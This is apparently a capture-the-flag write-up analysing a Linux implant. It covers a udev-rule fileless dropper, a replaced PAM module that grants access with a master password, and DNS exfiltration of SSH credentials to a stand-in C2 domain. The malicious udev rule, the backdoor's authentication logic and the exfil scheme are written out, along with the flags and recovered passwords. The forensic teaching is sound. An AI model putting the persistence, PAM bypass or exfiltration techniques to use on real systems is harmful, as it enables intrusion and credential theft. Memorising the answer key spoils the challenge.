WRAITHSTEP (ROCSC Finals 2026) — Linux Implant Forensics
Three-stage Linux forensics challenge: a fileless dropper launched at boot via a udev rule, a PAM module that replaced the real pam_pkcs11.so to intercept SSH logins, and a DNS exfiltration path that leaks credentials as base32-encoded query labels. Both binaries are stripped, same RC4 key.
Stage 1 — persistence vector + C2 domain (FLAG 1)
proc snapshot
Start with proc_snapshot/, which contains a subset of /proc/ captured at triage time. Three process directories: PID 512 (systemd-udevd), PID 1247 (SUSPECT), and PID 8834 (sshd worker for the devops session).
PID 1247 has three anomalies that stand out immediately:
exe: /memfd:dropper (deleted)
cmdline: <null bytes>
status:
Name: kworker/u4:2
PPid: 512
/memfd:dropper (deleted)— the process is running from an anonymous in-memory file descriptor, not from anything on disk.memfd_createopens a nameless file in memory, the parent writes the ELF payload into it, thenexecve("/proc/self/fd/3")runs it. Nothing to recover from the filesystem.- cmdline = null bytes — argv was overwritten with
memset(). The process is completely invisible topsandcat /proc/PID/cmdline. TheNamefield was set tokworker/u4:2to blend in with real kernel threads. - PPid = 512 — this is the key. Real kernel threads (
kworker/u4:2included) always have PPid = 2 (kthreadd). Akworkerprocess with PPid = 512 (udevd) was spawned by a udev rule.
Tracing the udev rule
Rules are in etc/udev/rules.d/. Three files: two standard Ubuntu entries and one that doesn't ship in any Ubuntu package:
# 99-apm-events.rules
# APM device event monitoring
ACTION=="add", ENV{MAJOR}=="1", ENV{MINOR}=="8", RUN+="/lib/udev/apm-events-d run"
MAJOR=1, MINOR=8 is /dev/random. The rule fires every time the kernel initializes the random number generator at boot — meaning the dropper runs on every reboot with no cron, no systemd unit, nothing that's easy to spot in the usual persistence checklist. The syslog entry confirms it:
Mar 15 02:09:05 prod-server01 systemd-udevd[512]: random: Process '/lib/udev/apm-events-d run' [1243] spawned for rule '/etc/udev/rules.d/99-apm-events.rules' line 3.
Reversing apm-events-d
The binary at lib/udev/apm-events-d is a stripped x86-64 ELF. Load it in Ghidra or IDA.
Finding RC4: look for a function with two loops of 256 iterations and an S-box — the classic KSA+PRGA structure. The 8-byte key is hardcoded in .rodata:
0xde, 0xad, 0xc0, 0xde, 0xbe, 0xef, 0x13, 0x37
The encrypted C2 domain is a 21-byte array (_c2enc) also in .rodata:
0xc5, 0x8d, 0xaa, 0xc3, 0xd2, 0xb9, 0x66, 0x52,
0xa9, 0xf8, 0x0c, 0xa7, 0x20, 0x6d, 0xd2, 0x72,
0xee, 0x44, 0x3b, 0x68, 0x40
Decrypt it:
def rc4(key, data):
S = list(range(256)); j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
i = j = 0; out = []
for byte in data:
i = (i + 1) % 256; j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
out.append(byte ^ S[(S[i] + S[j]) % 256])
return bytes(out)
key = bytes([0xde,0xad,0xc0,0xde,0xbe,0xef,0x13,0x37])
enc = bytes([0xc5,0x8d,0xaa,0xc3,0xd2,0xb9,0x66,0x52,
0xa9,0xf8,0x0c,0xa7,0x20,0x6d,0xd2,0x72,
0xee,0x44,0x3b,0x68,0x40])
print(rc4(key, enc).decode()) # -> "telemetry-svc.invalid"
C2 domain: telemetry-svc.invalid
import hashlib
print(hashlib.sha256(b"telemetry-svc.invalid").hexdigest())
# -> 2e277e17153ea7ba9ef9a580523b6d10c87ac31e3d64aaff2a239f1027655fba
FLAG 1 = CTF{2e277e17153ea7ba9ef9a580523b6d10c87ac31e3d64aaff2a239f1027655fba}
Stage 2 — PAM backdoor RE + master password (FLAG 2)
Detecting the malicious module
In etc/pam.d/sshd there's a line added at the top of the auth section, before @include common-auth:
# PKCS#11 smart card authentication support
auth sufficient pam_pkcs11.so
Two things make this suspicious. The sufficient flag placed before @include common-auth means the module runs first — if it returns PAM_SUCCESS, authentication succeeds immediately without hitting pam_unix.so. If it returns PAM_IGNORE, the stack continues as normal and the legitimate login works fine. From a user's perspective nothing looks broken.
But pam_pkcs11 is a real Ubuntu package (libpam-pkcs11). Check the MD5:
# from var/lib/dpkg/info/libpam-pkcs11.md5sums:
a3f8c21d9e7b4056f1280c3a9d6e5b47 lib/security/pam_pkcs11.so
# actual file on disk:
md5sum lib/security/pam_pkcs11.so
b4b49139c101c9f4917c382451a6a4cf # DIFFERENT
The file was replaced. The dpkg.log shows the real package was installed on 2025-03-14. The replacement happened the next morning — the same window as the udev rule installation.
Reversing pam_pkcs11.so
Load the file in Ghidra/IDA. After stripping, pam_sm_authenticate is the only symbol left — PAM loads it by name at runtime, so it can't be removed. The logic:
int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, char **argv) {
pam_get_user(pamh, &username, NULL);
pam_get_authtok(pamh, PAM_AUTHTOK, &password, NULL);
if (check_master(password))
return PAM_SUCCESS; // silent bypass
// fork + dns_exfil(username, password)
return PAM_IGNORE;
}
check_master() decrypts the _mp array with the same RC4 key found in Stage 1 and compares the result to the supplied password. The encrypted 14-byte array:
0xe6, 0x9a, 0xf2, 0x97, 0xcb, 0xb4, 0x59, 0x13,
0xa9, 0x8a, 0x4d, 0xe1, 0x71, 0x77
Decrypt with the Stage 1 key:
enc_pass = bytes([0xe6,0x9a,0xf2,0x97,0xcb,0xb4,0x59,0x13,
0xa9,0x8a,0x4d,0xe1,0x71,0x77])
print(rc4(key, enc_pass).decode()) # -> "Wr41thK3y_2024"
Master password: Wr41thK3y_2024
import hashlib
print(hashlib.sha256(b"Wr41thK3y_2024").hexdigest())
# -> e594987b789745aec646eb15b004df670c09f9f7bff75ae4841fa08198f0f81d
FLAG 2 = CTF{e594987b789745aec646eb15b004df670c09f9f7bff75ae4841fa08198f0f81d}
Wr41thK3y_2024 succeeds regardless of the actual user's password — PAM returns success before pam_unix.so ever gets involved. The normal user can still log in too, the stack just continues to common-auth after PAM_IGNORE.
Stage 3 — DNS PCAP decode + stolen credentials (FLAG 3)
Exfiltration scheme (from RE)
After the master-password check returns false, dns_exfil() runs in a forked child. The scheme, recovered by reversing the function:
- Decrypt the C2 domain with RC4 (
telemetry-svc.invalid) - Encode
username:passwordas base32 RFC 4648, lowercase, no padding - Split the encoded string into chunks of at most 32 characters
- Send DNS A queries:
<chunk>.<seq>.d.telemetry-svc.invalid - Terminate with a sentinel:
done.<seq>.d.telemetry-svc.invalid
The parent process returns PAM_IGNORE immediately — the DNS queries happen asynchronously and the victim's login succeeds normally.
PCAP analysis
Open pcaps/dns_exfil.pcap in Wireshark. Filter:
dns.qry.name contains "telemetry-svc.invalid"
Three queries, all at 14:23:18 — exactly one second after the SSH login from auth.log:
mrsxm33qom5eim3wgbyhgx2qoiygixzs.0.d.telemetry-svc.invalid
gazdiii.1.d.telemetry-svc.invalid
done.2.d.telemetry-svc.invalid
Reassemble and decode:
import base64
chunks = {
0: "mrsxm33qom5eim3wgbyhgx2qoiygixzs",
1: "gazdiii"
}
full_b32 = ''.join(chunks[k] for k in sorted(chunks)).upper()
# "MRSXM33QOM5EIM3WGBYHGX2QOIYGIXZSGAZDIII"
pad = (8 - len(full_b32) % 8) % 8
decoded = base64.b32decode(full_b32 + '=' * pad)
print(decoded.decode()) # -> "devops:D3v0ps_Pr0d_2024!"
Stolen credential: devops:D3v0ps_Pr0d_2024!
import hashlib
print(hashlib.sha256(b"devops:D3v0ps_Pr0d_2024!").hexdigest())
# -> 143ab34167e193d666e56dcfc971373bbb2f80a3b0e54ed7bf12ff6e1e5af094
FLAG 3 = CTF{143ab34167e193d666e56dcfc971373bbb2f80a3b0e54ed7bf12ff6e1e5af094}
.invalid TLD means no upstream resolver will ever forward the query — each label is just collected server-side by whoever runs the authoritative NS for the C2 domain.